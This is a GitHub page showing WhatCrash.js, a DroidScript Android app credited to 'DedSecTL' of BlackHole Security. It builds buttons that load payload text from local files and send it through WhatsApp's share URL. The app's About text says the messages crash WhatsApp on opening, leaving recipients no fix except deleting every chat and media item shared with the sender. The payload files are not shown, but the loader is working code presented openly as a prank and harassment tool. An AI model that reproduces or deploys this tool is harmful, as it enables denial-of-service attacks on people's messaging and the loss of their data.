This repository has been archived by the owner on Jan 26, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathWhatCrash.js
executable file
·80 lines (73 loc) · 2.81 KB
/
WhatCrash.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
//WhatCrash for Android (22 August 2018 (12:04))
//Author : DedSecTL
//Github : https://github.com/Gameye98
//Codename : Alone.
//Team : BlackHole Security
//Homepages: https://github.com/BlackHoleSecurity/wtcsh
function OnStart() {
app.EnableBackKey(false);
app.SetOrientation( "Portrait" );
lay = app.CreateLayout( "linear", "FillXY,VCenter" );
lay.SetBackground( "Img/background.jpg" );
blank = app.CreateButton( "Blank", 0.7, 0.12, "Custom" );
blank.SetFontFile( "font.ttf" );
blank.SetTextSize( "30" );
blank.SetBackColor( "black" );
blank.SetOnTouch( blank_OnTouch );
lay.AddChild( blank );
crash = app.CreateButton( "Crash", 0.7, 0.12, "Custom" );
crash.SetFontFile( "font.ttf" );
crash.SetTextSize( "30" );
crash.SetBackColor( "black" );
crash.SetOnTouch( crash_OnTouch );
lay.AddChild( crash );
laugh = app.CreateButton( "Laugh", 0.7, 0.12, "Custom" );
laugh.SetFontFile( "font.ttf" );
laugh.SetTextSize( "30" );
laugh.SetBackColor( "black" );
laugh.SetOnTouch( laugh_OnTouch );
lay.AddChild( laugh );
prank = app.CreateButton( "Prank", 0.7, 0.12, "Custom" );
prank.SetFontFile( "font.ttf" );
prank.SetTextSize( "30" );
prank.SetBackColor( "black" );
prank.SetOnTouch( prank_OnTouch );
lay.AddChild( prank );
about = app.CreateButton( "About", 0.7, 0.12, "Custom" );
about.SetFontFile( "font.ttf" );
about.SetTextSize( "30" );
about.SetBackColor( "black" );
about.SetOnTouch( about_OnTouch );
lay.AddChild( about );
app.AddLayout( lay );
}
function blank_OnTouch() {
app.OpenUrl( "https://api.whatsapp.com/send?text="+app.ReadFile("data/blank") );
}
function crash_OnTouch() {
app.OpenUrl( "https://api.whatsapp.com/send?text="+app.ReadFile("data/crash") );
}
function laugh_OnTouch() {
app.OpenUrl( "https://api.whatsapp.com/send?text="+app.ReadFile("data/laugh") );
}
function prank_OnTouch() {
app.OpenUrl( "https://api.whatsapp.com/send?text="+app.ReadFile("data/prank") );
}
function about_OnTouch() {
app.Alert( "WhatCrash for Android\nIt help you frustrate message recipients. WhatCrash will crash the Whatsapp app when messages are opened and the only way to solve a problem is to delete all chats, including any media, that have been shared with the person who sent the message.\n\nCopyright (C) 2018 by DedSecTL\n\nCvar1984\nCiKu370\nMr.TenSwapper07\namsitlab\n[M]iZun0\nMr.RM\nF4KS3C\nZG000XT\n3RROR_TMX\nMr.K3N\nScarl37\nTroublemaker97\nZetSec\nL_Viole\nde@hdies\nX14N23N6\nMR.R45K1N\nlord.zephyrus\nArwi\nZ3R0\n4cliba788\nmr0x100\nMrx04\nViruz\nMr_007\nIsnanindra\nMr_r00tz\nMr.K3R3H\nD4RK-S1DE\nbl1nd_p0int\nBLrose20.10\nIdannovita\nBlackHole Security." );
}
function OnBack()
{
dlg = app.CreateYesNoDialog("Do you want to exit WhatCrash?");
dlg.SetOnTouch(dlg_OnTouch);
dlg.Show();
}
function dlg_OnTouch(choice)
{
if (choice == "Yes") {
app.Exit();
}
else {
dlg.Dismiss();
}
}